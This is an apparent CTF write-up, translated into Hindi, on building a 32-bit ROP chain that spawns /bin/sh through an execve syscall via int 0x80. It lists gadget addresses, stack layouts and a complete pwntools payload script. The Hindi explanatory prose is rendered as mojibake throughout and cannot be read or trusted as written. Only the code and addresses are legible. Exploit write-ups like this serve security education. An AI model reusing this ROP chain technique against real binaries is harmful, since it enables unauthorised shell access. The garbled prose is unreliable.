рд╣рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕реНрдЯреНрд░рд┐рдВрдЧ '/ рдмрд┐рди / рд╢' рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдЗрд╕реЗ рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рдЬрдЧрд╣ рдкрд░ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдкрддрд╛ рдкрд╛рд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд▓рд╛рдЗрди рдХреЛ 4 рд╡рд░реНрдгреЛрдВ рдХреЛ рд╕рд╣реЗрдЬрдирд╛ рд╣реЛрдЧрд╛, рдЕрд░реНрдерд╛рдд '/ рдмрд┐рди' рдФрд░ '// рд╢', рдХреНрдпреЛрдВрдХрд┐ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ 4 рдмрд╛рдЗрдЯреНрд╕ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рд▓рд┐рдП, рдореБрдЭреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЧреИрдЬреЗрдЯ рдорд┐рд▓реЗ:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret 

рдпрд╣ рдЧреИрдЬреЗрдЯ:

  1. рд╕реНрдЯреИрдХ рд╕реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ рд▓реЗрдВ, рдФрд░ рдЗрд╕реЗ edx рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдбрд╛рд▓реЗрдВ, eax рдХреЛ рд╢реВрдиреНрдп рдХрд░рддрд╛ рд╣реИред
  2. рдпрд╣ рд╕реНрдЯреИрдХ рд╕реЗ рдПрдХ рдорд╛рди рд▓реЗрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдПрдбреА рдореЗрдВ рд░рдЦрддрд╛ рд╣реИред
  3. рдпрд╣ edi рд╕реЗ рдкрддрд╛ рдореЗрдВ edx рдХреЗ рдорд╛рди рдХреЛ рдХреЙрдкреА рдХрд░реЗрдЧрд╛ (рдпрд╣ рд╣рдорд╛рд░реА рдкрдВрдХреНрддрд┐ рдХреЛ рд╡рд╛рдВрдЫрд┐рдд рдкрддреЗ рдкрд░ рд▓рд┐рдЦ рджреЗрдЧрд╛)ред
  4. рдпрд╣ рд╕реНрдЯреИрдХ рд╕реЗ рджреЛ рдФрд░ рдорд╛рди рд▓реЗрдЧрд╛ред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЗрд╕рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореВрд▓реНрдпреЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

 0x555f3555 ;    memory_addr ;     (edx) 4__ ; 4    (edi) 0x55687b3c ;    4__ ;    (esi) 4__ ;    (edi) 

рдлрд┐рд░ рдЖрдк рд▓рд╛рдЗрди рдХреЗ рджреВрд╕рд░реЗ рднрд╛рдЧ рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рдЧреИрдЬреЗрдЯ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред рд▓реЗрдЦрди рдХреЗ рд▓рд┐рдП рдкрддрд╛ рдвреВрдВрдврдирд╛ рдореБрд╢реНрдХрд┐рд▓ рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдкрдврд╝рдиреЗ, рд▓рд┐рдЦрдиреЗ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рдПрдХ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЕрд╕рд┐рд╕реА рд╕реНрдерд┐рддрд┐ рдХреЛ рд╕рдВрддреБрд╖реНрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рдкрддреЗ рдХреЛ рд╡рд╣рд╛рдВ рд▓реЗ рдЬрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдореИрдВрдиреЗ рдкрддрд╛ 0x55562023 рд▓рд┐рдпрд╛ред

рдЕрдм рд╣рдореЗрдВ рдПрдХ рдЕрд╢рдХреНрдд рдЪрд░рд┐рддреНрд░ рдХреЗ рд╕рд╛рде рдЕрдкрдиреА рд░реЗрдЦрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕ рдХрд╛рд░реНрдп рдХреЗ рд▓рд┐рдП, рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЧреИрдЬреЗрдЯ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдВ:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret 

рдпрд╣ рдЧреИрдЬреЗрдЯ:

  1. рд╕реНрдЯреИрдХ рд╕реЗ рдЕрд╢рдХреНрдд рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЗ рд▓рд┐рдП рдкрддрд╛ рд▓реЗрдВ, рдФрд░ рдЗрд╕реЗ edx рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдбрд╛рд▓реЗрдВ, eax рдХреЛ рд╢реВрдиреНрдп рдХрд░реЗрдВред
  2. рд╕реНрдЯреИрдХ рд╕реЗ рдорд╛рди рд▓реЗрдВред
  3. рд╢реВрдиреНрдп рдИрдПрдХреНрд╕рдПрдХреНрд╕ рд╕реЗ рдПрдбрдХреНрд╕ рдореЗрдВ рдкрддреЗ рдХреЗ рдореВрд▓реНрдп рдХреЛ рдХреЙрдкреА рдХрд░реЗрдВред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЗрд╕рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореВрд▓реНрдпреЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

 0x555f3555 ;    memory_addr+8 ;    0 -   (edx) 4__ ;    edi 0x5560645c ;    

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдордиреЗ рдЕрдкрдиреЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдХреЙрдкреА рдХрд┐рдпрд╛ред рдЕрдЧрд▓рд╛, рдЖрдкрдХреЛ рдореВрд▓реНрдпреЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рднрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЪреВрдВрдХрд┐ "/ рдмрд┐рди / рд╢" рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рддрд░реНрдХ рдФрд░ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЙрдирдореЗрдВ рдПрдХ рдЕрд╢рдХреНрдд рд╕реВрдЪрдХ рдкрд╛рд░рд┐рдд рдХрд░реЗрдВрдЧреЗред рдИрдмреЗрдХреНрд╕ рдореЗрдВ рд╣рдо рд▓рд╛рдЗрди рдкрд░ рдкрддрд╛ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдФрд░ рдИрдПрдХреНрд╕ рдореЗрдВ рд╣рдо 11 рд▓рд┐рдЦрддреЗ рд╣реИрдВ - рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╕рд┐рд╕реНрдХреЛрд▓ рдХреА рд╕рдВрдЦреНрдпрд╛ред рдЗрд╕рдХреЗ рд▓рд┐рдП, рдореБрдЭреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЧреИрдЬреЗрдЯ рдорд┐рд▓реЗ:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret 

рдпрд╣ рдЧреИрдЬреЗрдЯ:

  1. Edx рдореЗрдВ рд╕реНрдЯреИрдХ рд╕реЗ рдПрдХ рдореВрд▓реНрдп рдбрд╛рд▓рддрд╛ рд╣реИ, рдИрдПрдХреНрд╕ рдХреЛ рд╢реВрдиреНрдп рдХрд░рддрд╛ рд╣реИред
  2. рд╕реНрдЯреИрдХ рд╕реЗ рдПрдбреА рдореЗрдВ рдорд╛рди рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВред
  3. рд╕реНрдЯреИрдХ рд╕реЗ рдПрдХреНрд╕реНрдЯ рддрдХ рдорд╛рди рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ, рд╢реВрдиреНрдп рдИрдиреЗрдХреНрд╕ 10 рдореЗрдВ рдЬреЛрдбрд╝реЗрдВред
  4. рд╕реНрдЯреИрдХ рд╕реЗ ebx рддрдХ рдореВрд╡ рдХрд░реЗрдВред
  5. рдмрд╛рдЬ рдХреЛ 10 рд╕реЗ рдмрдврд╝рд╛рдХрд░ 11 рдХрд░реЗрдВред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЗрд╕рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореВрд▓реНрдпреЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

 0x555f3555 ;    memory_addr+8 ;  null (edx) 4__ ;    edi 0x556d2a51 ;    memory_addr+8 ;  null (ecx) 0x5557734e ;    memory_addr ;  -(ebx) 0x556c6864 ;    

рдФрд░ рд╣рдо рдЕрдкрдиреА рдЖрд░рдУрдкреА-рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рдПрдХ рдЕрдкрд╡рд╛рдж рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред

 0x55667176 : inc esi ; int 0x80 

рдиреАрдЪреЗ рдКрдкрд░ рдХрд╛ рдЕрдзрд┐рдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдХреЙрд░реНрдб рд╣реИред

рдЫрд╡рд┐

рдФрд░ рдкреЗрд▓реЛрдб рдмрдирд╛рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдбред

 from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload) 

рдЫрд╡рд┐

рдЫрд╡рд┐

рд╕рдЪ рдХрд╣реВрдБ рддреЛ, рдореЗрд░реЗ рд▓рд┐рдП, рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ, рдпрд╣ рдЗрд╕ рд╕рд╛рдЗрдЯ рд╕реЗ рд╕рдмрд╕реЗ рдХрдард┐рди рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдерд╛ ...

рдЖрдЧреЗ рдФрд░ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ ... рдЖрдк рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдкрд░ рд╣рдорд╕реЗ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдПрдХ рд╕рдореБрджрд╛рдп рдХреЛ рдПрдХ рд╕рд╛рде рд░рдЦреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдРрд╕реЗ рд▓реЛрдЧ рд╣реЛрдВрдЧреЗ рдЬреЛ рдЖрдИрдЯреА рдХреЗ рдХрдИ рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рдкрд╛рд░рдВрдЧрдд рд╣реИрдВ, рдлрд┐рд░ рд╣рдо рдХрд┐рд╕реА рднреА рдЖрдИрдЯреА рдФрд░ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдкрд░ рд╣рдореЗрд╢рд╛ рдПрдХ-рджреВрд╕рд░реЗ рдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Source: https://habr.com/ru/post/hi479184/


All Articles